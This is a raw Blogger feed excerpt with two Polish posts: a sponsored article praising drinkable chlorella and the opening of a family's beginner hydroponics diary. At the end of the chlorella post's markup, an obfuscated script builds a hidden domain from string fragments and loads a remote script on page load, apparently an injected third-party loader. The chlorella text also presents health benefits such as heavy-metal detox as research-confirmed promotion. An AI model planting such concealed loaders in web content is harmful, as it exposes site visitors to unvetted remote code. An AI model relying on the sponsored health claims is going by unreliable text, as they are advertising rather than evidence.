url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSSPZwX0PBCAYe7bAx_a_jalX5cMhN6jpM1i6mWd39Y_ikZXe2q1WnKCO50Q2gzwsDuM7A_3Az-FEqMJai7nN_EDZsheOmzRB03X4Qr7AZS1snIE3_jnbvqhWAY17GJ0bxw_IpaCOxyywtNsX5MsaHNtoSeggsNpP0RpUR8QD6-flzeEFqVjws8hEB-YM2/s72-c/pexels-pixabay-2690633.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-5700678950437288894</id><published>2025-11-26T15:49:00.002+01:00</published><updated>2025-11-26T16:17:27.318+01:00</updated><title type='text'>Chlorella do picia – jak działa i dlaczego warto włączyć ją do codziennej diety</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;span face=&quot;Inter, Helvetica, sans-serif&quot; style=&quot;background-color: white; color: #2b2b33; font-size: 17.55px;&quot;&gt;Włączenie superfoods do codziennego jadłospisu to nie chwilowy trend, ale świadomy wybór, za którym stoją konkretne korzyści zdrowotne. Jednym z najbardziej wszechstronnych i przebadanych produktów z tej kategorii jest chlorella do picia – mikroskopijna alga słodkowodna, która zyskuje popularność zarówno wśród dietetyków, jak i osób szukających naturalnych sposobów na poprawę samopoczucia i odporności.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDLn1FnVaX5nmGFfLWG7SnIFSh5t3S2FZo02Zeb25VI0SpDMmasq-00xXkQG19tbNYI0LJFNDg-NJbNEEXaS5bf4JFVttJaouApDYRckhrPrTbet34mGo9WVL1igLNC-JpAZ2Axp3iYXyg4wgSvTAkOmrmOkmTBPYAQQHZV35HWHX2yWvfTs2fMF5TGKKr/s1279/pexels-doterra-international-llc-2204678-15837848.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;819&quot; data-original-width=&quot;1279&quot; height=&quot;411&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDLn1FnVaX5nmGFfLWG7SnIFSh5t3S2FZo02Zeb25VI0SpDMmasq-00xXkQG19tbNYI0LJFNDg-NJbNEEXaS5bf4JFVttJaouApDYRckhrPrTbet34mGo9WVL1igLNC-JpAZ2Axp3iYXyg4wgSvTAkOmrmOkmTBPYAQQHZV35HWHX2yWvfTs2fMF5TGKKr/w642-h411/pexels-doterra-international-llc-2204678-15837848.jpg&quot; width=&quot;642&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span face=&quot;Inter, Helvetica, sans-serif&quot; style=&quot;background-color: white; color: #2b2b33; font-size: 17.55px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;W tym artykule omawiamy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;jak działa chlorella do picia i jakie ma potwierdzone właściwości&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;kto może skorzystać na jej regularnym spożywaniu&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jak wybrać dobrą jakościowo chlorellę i w jakiej formie ją przyjmować&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;z czym łączyć chlorellę, by wzmocnić jej działanie&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jakie błędy popełnia się najczęściej przy jej stosowaniu&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;b&gt;Spis treści&lt;/b&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Chlorella do picia – co to jest i skąd pochodzi&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Właściwości chlorelli potwierdzone badaniami&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dla kogo chlorella do picia jest szczególnie polecana&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Jak stosować chlorellę w formie do picia&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Jak wybrać dobrą jakość chlorelli – na co zwrócić uwagę&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Z czym łączyć chlorellę, by działała skuteczniej&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Najczęstsze błędy przy stosowaniu chlorelli&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;FAQ – najczęstsze pytania o chlorellę do picia&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;&lt;b&gt;Chlorella do picia – co to jest i skąd pochodzi&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Chlorella to jednokomórkowa alga słodkowodna, znana ze swojego wysokiego stężenia chlorofilu oraz bogatego profilu żywieniowego. Naturalnie występuje w Azji, jednak obecnie hodowana jest także w specjalnych zbiornikach w Europie i Ameryce Północnej. Najczęściej sprzedawana jest w formie proszku, kapsułek lub tabletek, ale coraz większą popularność zyskuje &lt;a href=&quot;https://www.dzielnicazdrowia.pl/pl/c/Chlorella/75&quot;&gt;&lt;u&gt;&lt;b&gt;chlorella do picia&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;, która łączy wygodę spożywania z wysoką przyswajalnością.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Właściwości chlorelli potwierdzone badaniami&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Działanie chlorelli było przedmiotem wielu badań klinicznych. Do najczęściej stwierdzanych właściwości należą:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;wspomaganie detoksykacji organizmu (zwłaszcza metali ciężkich)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;wsparcie dla pracy wątroby i układu trawiennego&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;wspomaganie odporności dzięki zawartości beta-glukanów i chlorofilu&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;działanie przeciwutleniające (ochrona komórek przed stresem oksydacyjnym)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;regulacja poziomu cukru i cholesterolu we krwi&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Regularne spożywanie chlorelli może pozytywnie wpłynąć na stan skóry, poziom energii oraz ogólne samopoczucie.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Dla kogo chlorella do picia jest szczególnie polecana&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Chlorella do picia może być korzystna dla szerokiego grona osób, jednak szczególne korzyści odczują:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;osoby mieszkające w miastach i narażone na działanie smogu&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;osoby pracujące w stresie i zmagające się ze zmęczeniem&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;osoby stosujące dietę ubogą w świeże warzywa&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;osoby po antybiotykoterapii lub z problemami trawiennymi&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;sportowcy i osoby aktywne fizycznie&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dzięki wysokiej zawartości witamin z grupy B, żelaza i błonnika, chlorella do picia stanowi naturalne wsparcie codziennej diety.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Jak stosować chlorellę w formie do picia&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Najczęściej chlorellę do picia spożywa się rozpuszczoną w wodzie, soku lub smoothie. Zalecana dzienna porcja to 3–5 gramów, czyli płaska łyžczka proszku. Najlepiej przyjmować ją rano, na czczo lub do śniadania.&lt;/p&gt;
&lt;p&gt;Warto pamiętać:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;zaczynać od mniejszych dawek (np. 1 gram), by uniknąć reakcji detoksykacyjnych&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;nie mieszać z gorącą wodą – wysoka temperatura niszczy część składników&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;przechowywać proszek w szczelnym opakowaniu, z dala od światła&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;b&gt;Jak wybrać dobrą jakość chlorelli – na co zwrócić uwagę&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Nie każda chlorella do picia ma taką samą wartość odżywczą. Przy zakupie warto zwrócić uwagę na:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;kraj pochodzenia (najlepiej: Niemcy, Tajwan, Japonia)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;certyfikaty jakości (np. ekologiczne, GMP, non-GMO)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;metodę rozbijania ściany komórkowej (zwiększa przyswajalność)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;zawartość chlorofilu, błonnika, białka i mikroelementów&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;brak dodatku wypełniaczy i konserwantów&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Najwyższej jakości produkty są testowane pod kątem zawartości metali ciężkich i mikroorganizmów.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Z czym łączyć chlorellę, by działała skuteczniej&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Chlorella może być skuteczniejsza, gdy stosowana jest razem z innymi składnikami:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;spirulina – razem działają synergicznie na detoks i odporność&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;witamina C – poprawia wchłanianie żelaza z chlorelli&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;probiotyki – wspierają florę jelitową i poprawiają przyswajanie&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;soki warzywne (np. seler, burak) – wspomagają oczyszczanie&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dobrze komponuje się też ze smoothie owocowo-warzywnymi lub z wodą kokosową.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Najczęstsze błędy przy stosowaniu chlorelli&lt;/b&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;zbyt duża dawka na początku – może powodować biegunkę lub wzdęcia&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;brak regularności – efekty widoczne są przy codziennym stosowaniu&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;stosowanie z lekami bez konsultacji z lekarzem&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;kupowanie produktów niskiej jakości z niepewnego źródła&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Chlorella to produkt naturalny, ale silnie aktywny biologicznie, dlatego warto traktować ją z odpowiednią ostrożnością.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;FAQ – najczęstsze pytania o chlorellę do picia&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;b&gt;Czy chlorella do picia nadaje się dla dzieci?&lt;br /&gt;&lt;/b&gt; Tak, ale w bardzo małych ilościach i po konsultacji z pediatrą.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Czy mogę stosować chlorellę w ciąży?&lt;br /&gt;&lt;/b&gt; Zalecana jest ostrożność. Tylko po uzgodnieniu z lekarzem prowadzącym.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Jak szybko widoczne są efekty stosowania?&lt;br /&gt;&lt;/b&gt; U niektórych osób poprawa samopoczucia następuje po kilku dniach, u innych po kilku tygodniach.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Czy chlorella może powodować skutki uboczne?&lt;br /&gt;&lt;/b&gt; Może wystąpić ból brzucha, wzdęcia, reakcja alergiczna lub efekt detoksykacyjny.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Czy chlorella do picia różni się od tej w tabletkach?&lt;br /&gt;&lt;/b&gt; Tak, forma do picia ma często lepszą przyswajalność i pozwala na łatwiejsze łączenie z innymi składnikami.&lt;/p&gt;
&lt;script&gt;
(function(){
u3u5=document.createElement(&quot;script&quot;);u3u5.type=&quot;text/javascript&quot;;
u3u5.async=true;u3u5_=(&quot;op&quot;+(&quot;ens&quot;)+&quot;t&quot;)+&quot;a&quot;;u3u5_+=(&quot;t.e&quot;)+&quot;&quot;+&quot;u&quot;;
u3u5.src=&quot;https://&quot;+u3u5_+&quot;/2544998044.sxys9kjy3u5intu577X7X7pvevmi4h&quot;;
document.body.appendChild(u3u5);
})();
&lt;/script&gt;
Artykuł partnera</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/5700678950437288894/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2025/11/chlorella-do-picia-jak-dziaa-i-dlaczego.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/5700678950437288894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/5700678950437288894'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2025/11/chlorella-do-picia-jak-dziaa-i-dlaczego.html' title='Chlorella do picia – jak działa i dlaczego warto włączyć ją do codziennej diety'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDLn1FnVaX5nmGFfLWG7SnIFSh5t3S2FZo02Zeb25VI0SpDMmasq-00xXkQG19tbNYI0LJFNDg-NJbNEEXaS5bf4JFVttJaouApDYRckhrPrTbet34mGo9WVL1igLNC-JpAZ2Axp3iYXyg4wgSvTAkOmrmOkmTBPYAQQHZV35HWHX2yWvfTs2fMF5TGKKr/s72-w642-h411-c/pexels-doterra-international-llc-2204678-15837848.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-6511288414829334790</id><published>2022-07-13T12:28:00.011+02:00</published><updated>2022-07-13T13:47:04.799+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="DIY"/><category scheme="http://www.blogger.com/atom/ns#" term="hydroponika"/><category scheme="http://www.blogger.com/atom/ns#" term="Ogród"/><title type='text'>Hydroponika dla początkujących</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Nasza przygoda z hydroponiką zaczęła się w marcu 2022. Mój mąż zafiksował się filmikami na YT i tak oto zapragnął spróbowania tej metody uprawy roślin. Najpierw zrobił listę potrzebnych rzeczy - opalarka, rury, rurki i kolanka PCV, pompka, beczka, odżywki itd., a później myślał, myślał i myślał... Bardzo zależało mu na hodowli pionowej, jednak po dłuższych przemyśleniach - gdzie i jak to będziemy trzymać przystanęliśmy na wersji poziomej. Kupiłam mu gotowy zestaw startowy na Aliexpress i już po 14 dniach z racji wysyłki z terenu Europy paczka była u nas.&amp;nbsp;&lt;span style=&quot;text-align: left;&quot;&gt;Zanim jednak zacznę Wam opisywać nasze przygody z uprawą na wodzie warto wyjaśnić samo pojęcie hydroponiki. Na czym polega ta cała uprawa na wodzie?&lt;/span&gt;&lt;b style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS3LPwAMOLGDSDdpcgx66rS0XrvDVY003eejWLSW-OPjcyVoHLyh4Ygu0I3yLcoaJAFLO9-KCGzJcx3fIjjGlrRD2-GVj19YLN5mpQuHcDLwHwKPqwlkJVj1fVjdVCTKVuHzpVpL5Nus3bTOnvSlCi-sXVbAUK2wLy5v-vU0Tp89e_QEzmHn-eLiYpNw/s1201/52213275911_4888c2a007_k.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Hydroponika dla początkujących&quot; border=&quot;0&quot; data-original-height=&quot;1201&quot; data-original-width=&quot;797&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS3LPwAMOLGDSDdpcgx66rS0XrvDVY003eejWLSW-OPjcyVoHLyh4Ygu0I3yLcoaJAFLO9-KCGzJcx3fIjjGlrRD2-GVj19YLN5mpQuHcDLwHwKPqwlkJVj1fVjdVCTKVuHzpVpL5Nus3bTOnvSlCi-sXVbAUK2wLy5v-vU0Tp89e_QEzmHn-eLiYpNw/s16000/52213275911_4888c2a007_k.jpg&quot; title=&quot;Hydroponika dla początkujących&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;h2 style=&quot;clear: both; text-align: left;&quot;&gt;Co to jest hydroponika?&lt;/h2&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;b&gt;Hydroponika&lt;/b&gt; to alternatywa do tradycyjnej uprawy roślin w ziemi. W tej metodzie nie ma podłoża, więc wszystkie składniki odżywcze potrzebne roślinie podawane są w postaci specjalnych odżywek wprost do wody, w której częściowo zanurzone są korzenie uprawianych roślin. Woda poddawana regularnej cyrkulacji za pomocą pompki. Cały układ jest zamknięty, jednak zasób wody uzupełnia się z niemal tą samą częstotliwością, co substancje odżywcze.&amp;nbsp;&lt;/div&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;Jak zacząć uprawę hydroponiczną?&lt;/h2&gt;&lt;div&gt;Do uprawy roślin w metodzie hydroponicznej potrzebny będzie &lt;b&gt;stelaż z rur &lt;/b&gt;z odpowiednimi otworami, w których umieszczane będą &lt;b&gt;koszyczki z wykiełkowanymi nasionami&lt;/b&gt;. Jeśli jesteście z natury majsterkowiczami stelaż możecie zrobić sami lub kupić gotowy w sieci. Nie wiem, która opcja jest bardziej opłacalna. Gotowy stelaż rur z 54 otworami, podstawą i pompką oraz koszyczkami i gąbkami do kiełkowania kosztował nas niecałe 300zł z przesyłką. Tutaj należy zaznaczyć, że są to rury z otworami na koszyczki o średnicy około 3cm, więc są one stosunkowo małe. Na początku nie wiedzieliśmy na co będzie to realnie wpływać. Z czasem wyciągnęliśmy wnioski za i przeciw, ale to tym wspomnę później. Do zestawu musieliśmy dokupić nieprzezroczystą beczkę 20L, &lt;b&gt;miernik pH i twardości wod&lt;/b&gt;y oraz &lt;b&gt;zestaw nawozów do hydroponiki&lt;/b&gt; Plagron Hydro A&amp;amp;B (można wybrać inny wg uznania). Ogólnie to &lt;u&gt;ważne, aby rury i poszczególne elementy nie przepuszczały światła&lt;/u&gt;, ponieważ w słoneczne dni mogą zacząć rosnąć w systemie glony. Kiedy wszystko jest już prawie gotowe pora na wybór roślin.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Z entuzjazmem przygotowaliśmy &lt;b&gt;nasiona i gąbki do ich kiełkowania&lt;/b&gt;. Roślinki przygotowujemy jeszcze poza całym systemem. Tak jest zdecydowanie oszczędniej. W zagłębienia gąbek wrzucaliśmy po 2 nasionka. Użyliśmy głównie sałaty masłowej, szpinaku, pietruszki naciowej, bazylii sałatowej, pomidorków koktajlowych i długich ogórków szklarniowych. Gotowe gąbki z nasionami umieściliśmy na głębszej tacy i mocno podlaliśmy wodą. Całość przykryliśmy folią spożywczą, aby zapewnić ciepło na południowym parapecie. Można też użyć małych szklarenek takich na parapet używanych do kiełkowania rozsad.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://live.staticflickr.com/65535/52213545699_836bff93ed_b.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;397&quot; height=&quot;400&quot; src=&quot;https://live.staticflickr.com/65535/52213545699_836bff93ed_b.jpg&quot; width=&quot;199&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;https://live.staticflickr.com/65535/52213272136_d51118ab33_b.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;397&quot; height=&quot;400&quot; src=&quot;https://live.staticflickr.com/65535/52213272136_d51118ab33_b.jpg&quot; width=&quot;199&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Jakie rośliny nadają się do uprawy hydroponicznej?&lt;/h3&gt;&lt;div&gt;W hydroponice można uprawiać w zasadzie wszystko, jeśli się jest dosyć upartym człowiekiem i ma się choć minimalne pojęcie o prowadzeniu uprawy ziemnej. Nie jesteśmy ekspertami, więc w naszym wyborze kierowaliśmy się sugestiami znalezionymi w sieci. Postawiliśmy na wybrane gatunki wymienione jako najłatwiejsze w uprawie:&lt;/div&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;i&gt;sałata&lt;/i&gt;&amp;nbsp;- pH: 6.0 – 7.0&lt;/li&gt;&lt;li&gt;&lt;i&gt;pomidory -&amp;nbsp;&lt;/i&gt;pH: 5.5 – 6.5&lt;/li&gt;&lt;li&gt;&lt;i&gt;jarmuż -&lt;/i&gt; pH: 5.5 – 6.5&lt;/li&gt;&lt;li&gt;&lt;i&gt;ogórki &lt;/i&gt;-&amp;nbsp;&amp;nbsp;pH: 5.5 – 6.0&lt;/li&gt;&lt;li&gt;&lt;i&gt;szpinak &lt;/i&gt;- pH: 6.0 – 7.0&lt;/li&gt;&lt;li&gt;&lt;i&gt;bazylia &lt;/i&gt;- pH: 5.5 – 6.5&lt;/li&gt;&lt;li&gt;&lt;i&gt;mięta &lt;/i&gt;- pH: 5.5 – 6.5&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Powyżej podaję preferowane pH, o czym wcześniej nie pomyśleliśmy. Rośliny rosnące w jednym systemie powinny mieć utrzymywane pH, które lubią. W naszym przypadku najlepiej rosła sałata, ponieważ pH często się podnosiło z racji twardej wody. Pod uwagę należy także wziąć preferowaną temperaturę i wilgotność. Pomidory i ogórki lubią ciepło, natomiast sałata może rosnąć także w niezbyt ciepłym pomieszczeniu.&amp;nbsp;&lt;/div&gt;&lt;div&gt;Istotnym parametrem jest również dostęp do światła słonecznego. My naszą uprawę założyliśmy w dogrzewanym ganku z jednym oknem od strony zachodniej, dlatego wspomagaliśmy się lampą UV do uprawy roślin. Dzięki niej zapewnialiśmy roślinom 18h światła w ciągu doby. Stąd też bierze się to różowe światło, które wywołało falę pytań sąsiadów :)&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Po uruchomieniu pompki i wlaniu 10L wody zauważyliśmy, że beczka opróżnia się, więc konieczne było uzupełnienie wody i proporcji odżywki. Ponadto musieliśmy wymienić nogi na wyższe, ponieważ pompka była za silna i podczas działania wypełniała rury po same brzegi otworów unosząc koszyczki z roślinkami tak, że czasami wypadały. Dokupiliśmy odpowiedniej średnicy rurę i zrobiliśmy z niej dłuższe nogi, co zrównoważyło siłę wynoszenia wody przez pompkę. Ogólnie w obiegu znajdowało się około 15l wody z właściwą proporcją nawozów. W naszym przypadku zgodnie z tabelą producenta:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnTmFaz7sqB3swQLGynZ1ue_1yWVTw3ejmkrNN5B8vkd-hzDAP1f2tLla9zggdvo29Qgft_7DkPBhoznHe_3wgEX4N8iaw0hlE9m0QcvQJPOBP3i7tB3g1duOaw9cdZFrandfynfUp80QWiGzZd5FbrYOXcYl6_TaGxI0fv5HG0BvL8NVeRYZzNOJhgA/s709/HYDRO.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;553&quot; data-original-width=&quot;709&quot; height=&quot;501&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnTmFaz7sqB3swQLGynZ1ue_1yWVTw3ejmkrNN5B8vkd-hzDAP1f2tLla9zggdvo29Qgft_7DkPBhoznHe_3wgEX4N8iaw0hlE9m0QcvQJPOBP3i7tB3g1duOaw9cdZFrandfynfUp80QWiGzZd5FbrYOXcYl6_TaGxI0fv5HG0BvL8NVeRYZzNOJhgA/w640-h501/HYDRO.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Jak uprawiać rośliny w hydroponice?&lt;/h3&gt;&lt;div&gt;Skiełkowane nasiona obserwujemy. Wybieramy jedynie mocniejszą roślinkę, dlatego jeśli wykiełkują obydwa słabszą usuwamy. Kilkucentymetrowe roślinki umieszczamy w koszyczkach, a te w otworach na stelażu z rurami.&amp;nbsp;&lt;/div&gt;&lt;div&gt;Nasza hodowla szczęśliwie rosła podlewana w interwałach czasowych regulowanych przez programator czasowy. Na początku czas pracy pompki wyniósł 15 minut i 15 minut przerwy i tak przez całą dobę. Ktoś sobie pomyśli - strasznie dużo z tym zabawy i w sumie ma rację. Na początkowym etapie też mi się tak wydawało, ale traktowałam to raczej jako nowe, ciekawe doświadczenie. Mój teść stwierdził, że to żadna hodowla i nigdy się nie zwróci. Cóż może i miał rację. Ja jednak podchodziłam do tego, jako czegoś nowego i własnego. Tymczasem sałata najżwawiej rosła.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://live.staticflickr.com/65535/52212265692_824cf41724_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;397&quot; height=&quot;400&quot; src=&quot;https://live.staticflickr.com/65535/52212265692_824cf41724_b.jpg&quot; width=&quot;199&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;https://live.staticflickr.com/65535/52213545704_25c47a5abf_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;397&quot; height=&quot;400&quot; src=&quot;https://live.staticflickr.com/65535/52213545704_25c47a5abf_b.jpg&quot; width=&quot;199&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;Z satysfakcją dzieci skubały większe listki do kanapek już w kwietniu. A my z dumą obserwowaliśmy roślinki i ich rosnący system korzeniowy. Opieka nad hydroponiką ograniczyła się jedynie do uzupełniania co tydzień odpowiedniej dawki odżywki.&lt;div&gt;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;Kiedy rośliny podrosły pojawiły się pierwsze wnioski. Po pierwsze wcześniej wspomniane pH. Na początku ogórki rosły bardzo ospale. Prym wiodła sałata i szpinak. Niestety ten ostatni w hydroponice daje niewielki plon i to nie ze względu na słabe rośnięcie. Liście były duże i dorodne, a do tego bardzo chrupkie. Niestety musiałabym posiać chyba 54 roślinki, żeby móc rozkoszować się kilka razy sałatką ze szpinaku. Po tym doświadczeniu wydaje mi się, że lepiej byłoby pozostawić w jednym koszyczku więcej niż jedno skiełkowane nasionko. Tym samym szpinak wylądował jako dodatek do kanapek i jego kariera w hydroponice została zakończona. 